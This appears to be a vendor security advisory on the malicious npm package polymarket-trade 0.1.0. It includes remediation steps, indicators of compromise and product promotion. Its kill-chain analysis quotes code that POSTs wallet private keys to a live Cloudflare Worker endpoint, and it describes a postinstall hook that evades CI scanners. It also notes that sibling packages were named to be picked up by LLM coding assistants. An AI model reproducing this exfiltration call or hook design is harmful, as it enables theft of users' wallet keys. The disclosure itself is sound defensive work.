Which versions of polymarket-trade are malicious?

The following npm versions of polymarket-trade are flagged malicious: 0.1.0. Treat any of these as compromised.

How do I remediate polymarket-trade if I installed it?

polymarket-trade is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed polymarket-trade — how do I know if it already compromised me?

If polymarket-trade was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is polymarket-trade part of a known attack campaign?

Yes — polymarket-trade is associated with the IN-MAL-2026-003688, GHSA-5qjv-f5g4-jx7w campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find polymarket-trade across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for polymarket-trade (version 0.1.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging polymarket-trade across your stack and pipelines.

Malicious package

polymarket-tradenpm

polymarket-trade is a confirmed malicious npm package (MAL-2026-4215) that steals credentials and exfiltrates sensitive data (malicious version 0.1.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in polymarket-trade (npm)

MAL-2026-4215

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall polymarket-trade

What this malware does

A coordinated supply-chain attack comprising 9 npm packages published by maintainer polymarketdev (GitHub actor texsellix, repo texsellix/polymarket-trading-bot) within a ~2-minute window on 2026-05-20T23:30Z–23:32Z. All packages masquerade as legitimate Polymarket CLOB trading tools while exfiltrating Ethereum private keys to a Cloudflare Worker C2 at https://polymarketbot.polymarketdev.workers.dev/v1/wallets/keys.

Kill chain:

The postinstall hook (scripts/postinstall.mjs) probes for an interactive TTY. On non-interactive shells (CI/CD scanners), it prints "polybot installed" and exits to evade automated analysis.
Interactive path: displays a masked readline prompt soliciting the wallet private key.
Passive path: reads .env files in the current working directory and extracts the PRIVATE_KEY environment variable with no user interaction — developers who keep PRIVATE_KEY in their environment lose it silently.
Local persistence: creates ~/.polybot/ (mode 0700) containing device.json (UUID + creation timestamp) and wallets.json (Ethereum address + keccak256 fingerprint + pushedAt timestamp).
Exfiltration: POSTs { privateKey, label } as plain JSON over HTTPS to the C2, with header x-polybot-device: <UUID> for device fingerprinting.

Distinctive fingerprint: All 9 packages ship a byte-identical dist/index.js (711 KB, SHA-256 e01b85c1437085a519217338fe4ee5ed7858c28a10f8c1477b2f1857c3386edb) — only the name field in package.json differs across packages. The bundle wraps the real Polymarket CLOB SDK, ethers.js, Zod, pino, and WebSocket to provide working scan / quote / trade / copy commands as cover for credential theft. The banner falsely claims private keys "stay encrypted."

Targeting: polymarket-claude-code and polymarket-ai-agent are named to surface in LLM-assisted coding workflows that recommend packages without provenance evaluation.

polymarket-trade targets Polymarket traders searching by trading-focused keyword. Payload is identical to the rest of the campaign.

On install, package.json's postinstall hook runs scripts/postinstall.mjs, which detects an interactive TTY and auto-spawns node dist/index.js login with inherited stdio. The login flow prompts the installer for a wallet private key (a Polygon EOA controlling real USDC and Polymarket CTF positions) and POSTs the raw key to https://polymarketbot.polymarketdev.workers.dev/v1/wallets/keys via RemoteVault.push (dist/index.js: var kC="https://polymarketbot.polymarketdev.workers.dev" and Th={async push(t,e,r){return Sh("POST","/v1/wallets/keys",t,{privateKey:e,label:r})}}). The destination is an author-operated Cloudflare Worker on a *.workers.dev subdomain, not any official Polymarket infrastructure. Comments in the postinstall script (Internals (vault encryption, fingerprints, Worker URL) are intentionally kept out of the user-visible message... that surface is on a need-to-know basis) indicate the exfiltration endpoint is deliberately hidden from the prompt UI. The TTY gate skips CI but turns every developer-workstation install into an interactive credential-collection trap. Compromise of the submitted key permits the operator to drain the victim's USDC/positions on Polygon/Polymarket.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

0.1.0

Indicators of compromise (SHA-256)

5ebe32576f2e47b534eef1c645c76dd96daa93d79df1240df49d380fbea5f737

2fbb8992b23e97d42beecc52303c5309ea569e35bea64ac2134c0ff9ddfeccf3

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for polymarket-trade (version 0.1.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging polymarket-trade across your stack and pipelines.
If you installed it — respond
polymarket-trade is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If polymarket-trade was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks polymarket-trade before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. polymarket-trade on npm has been identified as a malicious package (version 0.1.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-003688GHSA-5qjv-f5g4-jx7w

References

Credits

Amazon Inspector · finder
SafeDep · finder

Detect & block this

O3 blocks polymarket-trade-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

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